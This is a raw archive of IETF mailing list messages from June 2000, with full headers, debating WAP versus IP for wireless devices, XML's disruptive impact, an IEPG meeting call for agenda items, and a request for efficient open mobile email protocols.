When webphones have enough screen real estate to be usable, they'll need
enough raw bandwidth to paint their Mpixel displays, and then you're in
the familiar regime of Internet of 1995 - 2005, and you don't want WAP.
On the other hand, if webphones never have more than several 100 monochrome
pixels, they'll never be used for anything useful to more than a handful
of people, and you still don't want WAP.

Talk a walk on the wild side, and see what the general public says about
the new webphones with their uselessly tiny screens.  Do some engineering
to estimate the minimum required resolution, or just look at the
"palm-top"products that have been mentioned here.

But who cares?  You're not going to convince me to run out and get a
lobotomy.  And if you did, so what.  As I said before, WAP will fail on
its on merits.


> Furthermore, one can not afford 9 bytes to encode "Subject: " in wide
> area wireless environments. Those days are over.
> ...

but you can afford to encode advertising in those same wide area wireless
environments?--sheesh!

Can you really not imagine any sort of UDP or TCP payload compression? 
Do you really not see the cost of "Subject: " for 1200-9600 bit/sec modem
links, which is to say why PPP CCP has existed for most of 10 years and
why v.42bis has existed for a lot longer?

Why is it that the ads I see for future webphones talk about links 8 times
fatter than the Internet *backbone* of a few years ago?  Why is it that
advertisement and reports of current webphones talk about 14 kbit/sec?
Why do you seem to think that 14 kbit/sec is a lot less than the 1200-9600
bit/sec of the not so distant Internet past?


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Sat Jun 24 03:03:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA10364
	for ietf-outbound.10@ietf.org; Sat, 24 Jun 2000 03:00:02 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10321
	for <ietf@ietf.org>; Sat, 24 Jun 2000 02:54:15 -0400 (EDT)
Received: from [10.0.1.2] (workstation1.swip.net [130.244.254.1]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id IAA24810; 
          Sat, 24 Jun 2000 08:53:34 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@nix.swip.net
Message-Id: <p04320412b57a070c8adf@[10.0.1.2]>
In-Reply-To: <20000624003117.298.qmail@tooran.byname.net>
References: <200006222310.RAA15677@calcite.rhyolite.com>
 <20000624003117.298.qmail@tooran.byname.net>
Date: Sat, 24 Jun 2000 08:38:38 +0200
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        Vernon Schryver <vjs@calcite.rhyolite.com>
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: RE: WAP and IP
Cc: ietf@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 00.31 +0000 00-06-24, Mohsen BANAN-Public wrote:
>IETF/IESG/IAB folks keep saying TCP is good enough for everything.

We don't.

See for example SCTP described in draft-ietf-sigtran-sctp-09.txt and 
applied to many applications which for example have to do with 
telephony signalling.

You can also have a look at the proposed charter for the Blocks 
eXtensible eXchange Protocol (bxxpwg) WG which might help 
applications designers get around some problems with TCP.

    Patrik
    Area Director, Applications Area



From owner-ietf-outbound  Sat Jun 24 16:41:55 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA15117
	for ietf-outbound.10@ietf.org; Sat, 24 Jun 2000 16:40:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA15093
	for <ietf@ietf.org>; Sat, 24 Jun 2000 16:39:19 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id WAA09476;
	Sat, 24 Jun 2000 22:38:45 +0200
Message-Id: <4.3.2.7.2.20000624222152.030dff08@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Sat, 24 Jun 2000 22:22:25 +0200
To: "Kurt D. Zeilenga" <Kurt@OPENLDAP.ORG>, michaelm@netsol.com
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: Where is the OID "dot convention" spelled out?
Cc: ietf@ietf.org
In-Reply-To: <3.0.5.32.20000623121552.00955190@infidel.boolean.net>
References: <20000622072720.B27587@bailey.dscga.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 12:15 23.06.2000 -0700, Kurt D. Zeilenga wrote:
>See RFC 1778, 2.15:
>    Values of type objectIdentifierSyntax are encoded according to the
>    following BNF:
>

thanks Kurt - i've included the reference on 
http://www.alvestrand.no/objectid/index.html!

              Harald


--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Sat Jun 24 22:21:45 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA17731
	for ietf-outbound.10@ietf.org; Sat, 24 Jun 2000 22:20:01 -0400 (EDT)
Received: from mail.vsys.com (mail.vsys.com [63.93.241.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17701
	for <ietf@ietf.org>; Sat, 24 Jun 2000 22:17:20 -0400 (EDT)
Received: from bobpc (1Cust142.tnt7.colorado-springs.co.da.uu.net [63.14.87.142])
	by mail.vsys.com (8.9.3+3.2W/8.9.3) with SMTP id UAA13458;
	Sat, 24 Jun 2000 20:16:16 -0600 (MDT)
From: "Bob Wise" <rmwise@vsys.com>
To: "Mark Atwood" <mra@POBOX.COM>, <bkumar@ennovatenetworks.com>
Cc: <moore@cs.utk.edu>, "'Taylor, Johnny'" <Johnny.Taylor@ESPIRE.NET>,
        "'Donald E. Eastlake 3rd'" <dee3@TORQUE.POTHOLE.COM>, <ietf@ietf.org>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Sat, 24 Jun 2000 20:18:02 -0600
Message-ID: <NCBBLJLAODAODLNMKMOGMENMELAA.rmwise@vsys.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <m38zvyljhj.fsf@flash.localdomain>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


If WAP doesn't replace IP, then why does the WAP protocol specification
include the protocol layers that are equivalent (and replacements for)
the IP layer?

-Bob

-----------
Bob Wise
Chief Architect
Vsys, Inc. - "The Softswitch Company"
www.vsys.com


-----Original Message-----
From: mark@flash.localdomain [mailto:mark@flash.localdomain]On Behalf Of
Mark Atwood
Sent: Wednesday, June 21, 2000 5:09 PM
To: bkumar@ennovatenetworks.com
Cc: moore@cs.utk.edu; 'Taylor, Johnny'; 'Donald E. Eastlake 3rd';
ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


"Brijesh Kumar" <bkumar@ennovatenetworks.com> writes:
>
> WAP's goal is not to replace IP, but mediate between non-IP wireless
> devices, and existing IP based wire line applications.

So then obvious the Right Thing is to put an IP stack on each of those
devices. Then such "mediation" is unnecessary.

--
Mark Atwood   | It is the hardest thing for intellectuals to understand,
that
mra@pobox.com | just because they haven't thought of something, somebody
else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra



From owner-ietf-outbound  Sat Jun 24 22:31:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA17827
	for ietf-outbound.10@ietf.org; Sat, 24 Jun 2000 22:30:03 -0400 (EDT)
Received: from mail.vsys.com (mail.vsys.com [63.93.241.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17708
	for <ietf@ietf.org>; Sat, 24 Jun 2000 22:17:23 -0400 (EDT)
Received: from bobpc (1Cust142.tnt7.colorado-springs.co.da.uu.net [63.14.87.142])
	by mail.vsys.com (8.9.3+3.2W/8.9.3) with SMTP id UAA13455;
	Sat, 24 Jun 2000 20:16:08 -0600 (MDT)
From: "Bob Wise" <rmwise@vsys.com>
To: "Bill Manning" <bmanning@ISI.EDU>, "Steve Deering" <deering@cisco.com>
Cc: <bkumar@ENNOVATENETWORKS.COM>, <moore@cs.utk.edu>,
        <Johnny.Taylor@ESPIRE.NET>, <dee3@TORQUE.POTHOLE.COM>, <ietf@ietf.org>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Sat, 24 Jun 2000 20:17:54 -0600
Message-ID: <NCBBLJLAODAODLNMKMOGKENMELAA.rmwise@vsys.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <200006220123.SAA12015@boreas.isi.edu>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


"Wireline IP applications" really is "Wireline VoIP applications"
in this context. What this means is that the application is either
replacing wireline applications, or is interoperting with PSTN
wireline applications.

VoIP implementations that interface with wireline networks have
different requirements and interfaces than those interfacing with
PSTN wireless applications.

In either case, it is certainly appropriate to consider that
mobility applications may have different constraints and requirements
than fixed applications.

Particularly in applications (like real-time voice), the application
may be very concerned that the underlying fabric is or is not capable
of delivering the necessary bandwidth, latency, etc.

-Bob

-----------
Bob Wise
Chief Architect
Vsys, Inc. - "The Softswitch Company"
www.vsys.com


-----Original Message-----
From: Bill Manning [mailto:bmanning@ISI.EDU]
Sent: Friday, July 10, 2893 4:44 PM
To: Steve Deering
Cc: bkumar@ENNOVATENETWORKS.COM; moore@cs.utk.edu;
Johnny.Taylor@ESPIRE.NET; dee3@TORQUE.POTHOLE.COM; ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


% 
% At 4:16 PM -0400 6/21/00, Brijesh Kumar wrote:
% >WAP's goal is not to replace IP, but mediate between non-IP wireless
% >devices, and existing IP based wire line applications.
% 
% There are no "IP based wire line applications".  Applications based on IP
% don't depend on, or know, or care that their packets flow over wires or
% fibres or RF waves or IR waves or wet string, or any combination thereof.
% That's one of the neat things about IP.
% 
% Steve
% 

Hum,
	Did the IESG depricate IP over Avian Carrier when I blinked?
	And the draft on IP over seismic waves is due any day now.

-- 
--bill



From owner-ietf-outbound  Sat Jun 24 22:41:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA18835
	for ietf-outbound.10@ietf.org; Sat, 24 Jun 2000 22:40:03 -0400 (EDT)
Received: from hesketh.net (wasabi-eth0-1.hesketh.net [216.27.10.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18792
	for <ietf@ietf.org>; Sat, 24 Jun 2000 22:33:39 -0400 (EDT)
Received: from thinkpadssl (ith1-38a.twcny.rr.com [24.24.11.138])
	by hesketh.net (8.9.3/8.9.3) with SMTP id WAA07492
	for <ietf@ietf.org>; Sat, 24 Jun 2000 22:33:43 -0400
Message-Id: <200006250233.WAA07492@hesketh.net>
X-Received-From: simonstl@simonstl.com
X-Delivered-To: <ietf@ietf.org>
X-Sender: simonstl@216.27.10.33
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Sat, 24 Jun 2000 22:34:53 -0400
To: ietf@ietf.org
From: "Simon St.Laurent" <simonstl@simonstl.com>
Subject: XML as disruption
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

I've written an article for XML.com on XML's disruptive impact on Web
technologies at:
http://www.xml.com/pub/2000/06/21/disruption/index.html

I hope it'll be food for thought, though I suspect a fair number of people
here won't be especially happy to see it. 

Simon St.Laurent
XML Elements of Style / XML: A Primer, 2nd Ed.
http://www.simonstl.com - XML essays and books



From owner-ietf-outbound  Sun Jun 25 00:01:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA19657
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 00:00:04 -0400 (EDT)
Received: from zot.localdomain (IDENT:root@ip240.cvd2.rb1.bel.nwlink.com [207.202.151.240])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19622
	for <ietf@ietf.org>; Sat, 24 Jun 2000 23:51:52 -0400 (EDT)
Received: from flash.localdomain (IDENT:root@flash [10.0.0.6])
	by zot.localdomain (8.9.3/8.9.3) with ESMTP id UAA17158;
	Sat, 24 Jun 2000 20:51:44 -0700
Received: (from mark@localhost)
	by flash.localdomain (8.9.3/8.9.3) id UAA21477;
	Sat, 24 Jun 2000 20:57:00 -0700
X-Authentication-Warning: flash.localdomain: mark set sender to mra@pobox.com using -f
Sender: mark@flash.localdomain
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
Cc: Vernon Schryver <vjs@CALCITE.RHYOLITE.COM>, ietf@ietf.org
Subject: Re: WAP and IP
References: <200006222310.RAA15677@calcite.rhyolite.com>
	<20000624003117.298.qmail@tooran.byname.net>
From: Mark Atwood <mra@pobox.com>
Date: 24 Jun 2000 20:57:00 -0700
In-Reply-To: Mohsen BANAN-Public's message of "24 Jun 2000 00:31:17 -0000"
Message-ID: <m3lmzutnub.fsf@flash.localdomain>
Lines: 14
User-Agent: Gnus/5.0806 (Gnus v5.8.6) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

Mohsen BANAN-Public <public@mohsen.banan.1.byname.net> writes:
> 
> So why has QMTP... not been published as
> an RFC? I understand Dan Bernstein did submit it for publication.

Sir! I am shocked, *shocked*, that you would imply that non-technical
politics would influence the RFC process! (Your winnings, sir. (Thank
you.))

-- 
Mark Atwood   | It is the hardest thing for intellectuals to understand, that
mra@pobox.com | just because they haven't thought of something, somebody else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra



From owner-ietf-outbound  Sun Jun 25 02:01:54 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA25596
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 02:00:07 -0400 (EDT)
Received: from ns.Nesser.COM (host238.2alpha.com [206.129.134.238] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA25547
	for <ietf@ietf.org>; Sun, 25 Jun 2000 01:55:56 -0400 (EDT)
Received: from pcpjnesser (host227.2alpha.com [206.129.134.227] (may be forged))
	by ns.Nesser.COM (8.8.8/8.8.7) with SMTP id WAA03669;
	Sat, 24 Jun 2000 22:50:11 -0700 (PDT)
Reply-To: <phil@nesser.com>
From: "Philip J. Nesser II" <phil@nesser.com>
To: <iepg@iepg.org>
Cc: <nanog@nanog.org>, <ietf@ietf.org>
Subject: IEPG Meeting
Date: Sat, 24 Jun 2000 22:53:54 -0700
Message-ID: <FAECIHPANKDMDHLNFMEEOEACCKAA.phil@nesser.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

There will be a meeting of the IEPG on the Sunday before the IETF in
Pittsburgh 7/30/2000 from 10:00am to 5:00pm (with a lunch break).

This message is a call for agenda items and talks.

The meeting generally consists of many items and discussions on a variety of
Internet standard, research efforts, and operational issues.  If you have a
topic that you would like to place on the agenda please let me know.

In the past we have had presentations on new backbone efforts (vBNS,
Internet2, 6bone, etc.) and have not had any items like that for some time.
In an effort to start the ball rolling on agenda items I am looking for
presentors to give status reports on research type networks.  Any takers?

How about someone from CAIDA on tools development?  kc are you out there?

--->  Phil



From owner-ietf-outbound  Sun Jun 25 09:12:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07771
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 09:10:02 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07638
	for <ietf@ietf.org>; Sun, 25 Jun 2000 09:00:10 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id JAA05907;
	Sun, 25 Jun 2000 09:00:12 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id JAA23755;
	Sun, 25 Jun 2000 09:00:12 -0400 (EDT)
Message-Id: <200006251300.JAA23755@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: simonstl@simonstl.com
cc: ietf@ietf.org
Subject: Re: XML as disruption
Date: Sun, 25 Jun 2000 09:00:11 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org

Simon,

The IETF general list may not be the best venue for advocacy pieces written
for non-specialists. The characterization of Keith Moore's and Franklin
Reynold's works ("Substrate" and "CC/PP", resp.) are not substantive and
in my opinion detract from or confuse a reading of your disrupt-the-web
advocacy. 

Serious pieces are welcome, there are people here on a number of other lists
which are XML-specific or XML-related, but content is more engaging than
glosses.

Cheers,
Eric



From owner-ietf-outbound  Sun Jun 25 09:21:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07887
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 09:20:05 -0400 (EDT)
Received: from hesketh.net (wasabi-eth0-1.hesketh.net [216.27.10.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07748
	for <ietf@ietf.org>; Sun, 25 Jun 2000 09:09:51 -0400 (EDT)
Received: from thinkpadssl (ith1-38a.twcny.rr.com [24.24.11.138])
	by hesketh.net (8.9.3/8.9.3) with SMTP id JAA29925;
	Sun, 25 Jun 2000 09:09:53 -0400
Message-Id: <200006251309.JAA29925@hesketh.net>
X-Received-From: simonstl@simonstl.com
X-Delivered-To: ietf@ietf.org
X-Sender: simonstl@216.27.10.33
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Sun, 25 Jun 2000 09:12:21 -0400
To: Eric Brunner <brunner@world.std.com>
From: "Simon St.Laurent" <simonstl@simonstl.com>
Subject: Re: XML as disruption
Cc: ietf@ietf.org
In-Reply-To: <200006251300.JAA23755@world.std.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 09:00 AM 6/25/00 -0400, Eric Brunner wrote:
>The IETF general list may not be the best venue for advocacy pieces written
>for non-specialists. The characterization of Keith Moore's and Franklin
>Reynold's works ("Substrate" and "CC/PP", resp.) are not substantive and
>in my opinion detract from or confuse a reading of your disrupt-the-web
>advocacy. 

It seemed to fit in well enough with some of the WAP discussions here, but
okay.

>Serious pieces are welcome, there are people here on a number of other lists
>which are XML-specific or XML-related, but content is more engaging than
>glosses.

I didn't think anyone would appreciate my republishing the article here,
and it seemed that some cross-pollination between the XML community and the
IETF might be worthwhile on these issues.

Sorry for the, er, disruption.

Simon St.Laurent
XML Elements of Style / XML: A Primer, 2nd Ed.
http://www.simonstl.com - XML essays and books



From owner-ietf-outbound  Sun Jun 25 11:11:49 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA08539
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 11:10:02 -0400 (EDT)
Received: from c014.sfo.cp.net (c014-h018.c014.sfo.cp.net [209.228.12.82])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08513
	for <ietf@ietf.org>; Sun, 25 Jun 2000 11:01:34 -0400 (EDT)
From: narakamath@lightel.com
Received: (cpmta 16643 invoked from network); 25 Jun 2000 08:01:03 -0700
Date: 25 Jun 2000 08:01:03 -0700
Message-ID: <20000625150103.16638.cpmta@c014.sfo.cp.net>
X-Sent: 25 Jun 2000 15:01:03 GMT
Received: from [198.102.173.112] by mail.lightel.com with HTTP;
    25 Jun 2000 08:01:01 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: phil@nesser.com
Cc: iepg@iepg.org, nanog@nanog.org, ietf@ietf.org
X-Mailer: Web Mail 3.6.3.1
Subject: Re: IEPG Meeting - IP Addressing
X-Loop: ietf@ietf.org

IPv4 is running out of space but IPv6 is too much overhead.  Is there something in between that can be effective for the next 100 years or can we modify IPv6 into something that is suitable for the next 100 years.  
It is interesting to note that the U.S. Mail is the only system that can use the 9 digit zip codes and others like Fedex and UPS are content with 5 digit zip codes.  Would like to hear comments/opinions.

On Sat, 24 June 2000, "Philip J. Nesser II" wrote:

> 
> There will be a meeting of the IEPG on the Sunday before the IETF in
> Pittsburgh 7/30/2000 from 10:00am to 5:00pm (with a lunch break).
> 
> This message is a call for agenda items and talks.
> 
> The meeting generally consists of many items and discussions on a variety of
> Internet standard, research efforts, and operational issues.  If you have a
> topic that you would like to place on the agenda please let me know.
> 
> In the past we have had presentations on new backbone efforts (vBNS,
> Internet2, 6bone, etc.) and have not had any items like that for some time.
> In an effort to start the ball rolling on agenda items I am looking for
> presentors to give status reports on research type networks.  Any takers?
> 
> How about someone from CAIDA on tools development?  kc are you out there?
> 
> --->  Phil




From owner-ietf-outbound  Sun Jun 25 12:11:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA08838
	for ietf-outbound.10@ietf.org; Sun, 25 Jun 2000 12:10:02 -0400 (EDT)
Received: from hesketh.net (wasabi-eth0-1.hesketh.net [216.27.10.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08745
	for <ietf@ietf.org>; Sun, 25 Jun 2000 12:00:15 -0400 (EDT)
Received: from thinkpadssl (ith1-38a.twcny.rr.com [24.24.11.138])
	by hesketh.net (8.9.3/8.9.3) with SMTP id MAA02826
	for <ietf@ietf.org>; Sun, 25 Jun 2000 12:00:17 -0400
Message-Id: <200006251600.MAA02826@hesketh.net>
X-Received-From: simonstl@simonstl.com
X-Delivered-To: <ietf@ietf.org>
X-Sender: simonstl@216.27.10.33
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Sun, 25 Jun 2000 12:02:44 -0400
To: ietf@ietf.org
From: "Simon St.Laurent" <simonstl@simonstl.com>
Subject: Re: XML as disruption
In-Reply-To: <200006251309.JAA29925@hesketh.net>
References: <200006251300.JAA23755@world.std.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 09:12 AM 6/25/00 -0400, Simon St.Laurent wrote:
>I didn't think anyone would appreciate my republishing the article here,
>and it seemed that some cross-pollination between the XML community and the
>IETF might be worthwhile on these issues.
>
>Sorry for the, er, disruption.

I've gotten a few questions about where to discuss this article.  XML.com
is hosting a forum for discussion of the article.  Their forum software is
creaky - don't use double quotes in a posting, as it won't work, and plain
text is best - and soon to be replaced, but it may be a good place for
discussion:
http://www.xml.com/xml/forums?x-a=disp&x-id=20560

There isn't a whole lot there, I suspect because of the forum's software
problems. (No, it isn't XML-based.)  I'll be happy to hear questions and
concerns privately. 

There are also a number of XML-oriented mailing lists:
http://metalab.unc.edu/xml/mailinglists.html

XML-Dev would probably be the most appropriate forum should readers want to
pursue these discussions in a broader arena.  While I do hope IETF
participants ponder the article and some of its implications, I think many
participants would rather see discussion hosted elsewhere.

Simon St.Laurent
XML Elements of Style / XML: A Primer, 2nd Ed.
http://www.simonstl.com - XML essays and books



From owner-ietf-outbound  Mon Jun 26 01:42:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA20076
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 01:40:03 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18601
	for <ietf@ietf.org>; Mon, 26 Jun 2000 01:30:52 -0400 (EDT)
Received: (qmail 10591 invoked by uid 100); 26 Jun 2000 05:30:15 -0000
Date: 26 Jun 2000 05:30:15 -0000
Message-ID: <20000626053015.10590.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Patrik =?ISO-8859-1?Q?F=E4ltstr=F6m?= <paf@swip.net>
Cc: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: RE: WAP and IP
In-Reply-To: <p04320412b57a070c8adf@[10.0.1.2]>
References: <200006222310.RAA15677@calcite.rhyolite.com>
	<20000624003117.298.qmail@tooran.byname.net>
	<p04320412b57a070c8adf@[10.0.1.2]>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Sat, 24 Jun 2000 08:38:38 +0200, Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net> said:

  Patrik> At 00.31 +0000 00-06-24, Mohsen BANAN-Public wrote:
  >> IETF/IESG/IAB folks keep saying TCP is good enough for everything.

  Patrik> We don't.

  Patrik> See for example SCTP described in draft-ietf-sigtran-sctp-09.txt and 
  Patrik> applied to many applications which for example have to do with 
  Patrik> telephony signalling.

The current status, state and beginning date of that example
makes my point. 

After 7 months of delay, caused by the IESG, ESRO was published
as an RFC in Sept. 1997.

  Patrik> You can also have a look at the proposed charter for the Blocks 
  Patrik> eXtensible eXchange Protocol (bxxpwg) WG which might help 
  Patrik> applications designers get around some problems with TCP.

  Patrik>     Patrik
  Patrik>     Area Director, Applications Area

As far as Efficient Application Protocols go, the examples that you
cited are in my eyes a day late and a dollar short.

There is work out there which is way ahead of where you seem to be.


In the early stages of formation of an industry (such as Mobile
Applications) competition amongst open and patent-free protocol
specifications is of benefit to all.

I am all in favor of creating a free market for such protocol
specifications. This involves *equal* access to all protocol support
organizations including:

   - Equal access to RFC Publication Service
   - Equal access to IANA
   - Equal access to patent-free support facilities
   - Equal access to announcement and information distribution facilities.

Such an approach can lead to better containment of IESG/IAB/...  and
stop, in practice, the drift towards becoming a cult.


In the area of Efficient Application Protocols and alternatives to WAP
let's all put on the table what we have got and build on that.


...Mohsen




From owner-ietf-outbound  Mon Jun 26 01:51:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA20350
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 01:50:03 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA19093
	for <ietf@ietf.org>; Mon, 26 Jun 2000 01:33:34 -0400 (EDT)
Received: (qmail 10600 invoked by uid 100); 26 Jun 2000 05:33:11 -0000
Date: 26 Jun 2000 05:33:11 -0000
Message-ID: <20000626053311.10599.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: IETF Mailing List <ietf@ietf.org>
Subject: Seeking Open Mobile Messaging Protocols -- Efficient E-Mail
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org



Existing SMTP/IMAP/TCP technology is not well suited for
mobile and wireless environments where bandwidth and
capacity are always limited and precious.


More efficient protocols are needed to address the new
reality of mobile and wireless networks. I am seeking
open protocols which are better suited to address the
requirements of mobile and wireless networks.

The key functional requirements for the protocols that
I am seeking are:

 -  Provide for the submission and delivery of short
    (4 kilobytes or less) Internet e-mail messages 
    with the same level of functionality (or higher)
    that the existing SMTP protocols provide.

 -  Provide the same (or better) level of reliability
    and security that the existing SMTP protocols provide.

 -  Make reasonable trade-offs between specification complexity,
    implementation complexity, extendibility, scalability and efficiency.

 -  Provide the required efficiency characteristics. These include:
    minimizing the number of transmissions, minimizing the number of
    bytes transmitted, minimizing the latency of message
    submission and delivery.


The protocols I seek are intended to be used primarily
in IP based wide area wireless environments (e.g., CDPD)
The devices used have a wide variety of form factors and
platforms.

Timely delivery ("push") to unconscious carry devices
similar to the two-way paging model is also an important
goal.

The origin of the open protocols that I am seeking can
be any individual, company, or organization, provided:

  - The protocols are intended to be patent-free and are 
    declared as such.
  
  - They are published as stable specifications and are
    readily and permanently available to anyone.
    RFC publication is the prefered method.

  - Participation in the maintenance and enhancement of the protocols
    is public, open and free. The maintenance process must
    also be such as to maintain the patent-free nature of the protocols.


The absence of a set of open protocols satisfying these requirements
has led to the adoption of patented protocols such as WAP, and the
appearance of closed systems such as BlackBerry (tm).

I consider the availability of open alternatives in this
area to be of benefit to the consumer and the industry.


If you are aware of any protocol specifications which
address the above mentioned requirements please send me
--
    Mohsen BANAN  mailto:public@mohsen.banan.1.byname.net
--
a note. I will compile the results, then make publicly available.

Please feel free to distribute this request wherever appropriate.


Thank you.

Mohsen BANAN



From owner-ietf-outbound  Mon Jun 26 02:07:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA27122
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 02:05:56 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA20103
	for <ietf@ietf.org>; Mon, 26 Jun 2000 01:40:11 -0400 (EDT)
Received: (qmail 10616 invoked by uid 100); 26 Jun 2000 05:39:48 -0000
Date: 26 Jun 2000 05:39:48 -0000
Message-ID: <20000626053948.10615.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: IETF Mailing List <ietf@ietf.org>
Subject: LEAPing Over WAP
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


